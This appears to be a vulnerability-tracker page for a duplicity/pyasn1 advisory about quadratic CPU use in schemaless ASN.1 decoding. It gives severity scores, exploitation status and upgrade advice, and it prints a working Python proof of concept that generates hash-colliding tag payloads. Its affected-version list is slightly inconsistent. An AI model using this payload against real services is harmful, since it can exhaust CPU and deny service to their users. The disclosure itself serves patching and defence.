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VulnerabilityPublished

CVE-2026-119194: Duplicity · pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding

Affects duplicitySource GCVE Database

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Authoritative record:CVE-2026-119194· High 7.5

Not known to be exploited · CVSS 7.5 High : upgrade to 0.8.03 soon.

Data as of 31 Oct 2026, 16:51 UTC

CVSS 3.1 base score
7.5High
How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none
CVSS scores by source
CNA (GitHub_M)CVSS 3.17.5
Patch
Available – fixed in 0.8.03
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 29 Oct 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.

What to do

Upgrade duplicity to 0.8.03.

Affected software

ProductAffectedFixed in
Homebrewduplicitypkg:brew/duplicityOther threatsAffected
  • >=0.7.14 <0.8.03
  • >=0.8.05_1
Fixed in
  • 0.8.03

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability. ### Details ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder. ### Proof of concept Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed: ```python import sys import time from pyasn1.codec.ber import decoder from pyasn1.type import univ def enc_tag(tag_id): groups = [tag_id & 0x7f] tag_id >>= 7 while tag_id: groups.append((tag_id & 0x7f) | 0x80) tag_id >>= 7 return b'\xbf' + bytes(reversed(groups)) def payload(tag_ids): body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A' for tag_id in tag_ids) length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big') return b'\x30' + bytes([0x80 | len(length)]) + length + body for count in (3200, 6400): cases = ( ("collision", [32 + i * sys.hash_info.modulus for i in range(count)]), ("control", [(1 << 70) + i for i in range(count)]), ) for name, tag_ids in cases: wire = payload(tag_ids) start = time.process_time() value, remainder = decoder.decode(wire) cpu_seconds = time.process_time() - start assert type(value) is univ.Sequence assert len(value) == count and remainder == b'' for position, tag_id in enumerate(tag_ids): component = value.getComponentByPosition(position) assert component.asOctets() == b'A' assert component.tagSet[-1].tagId == tag_id print(count, name, len(wire), round(cpu_seconds, 3)) ``` ### Impact Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.

References

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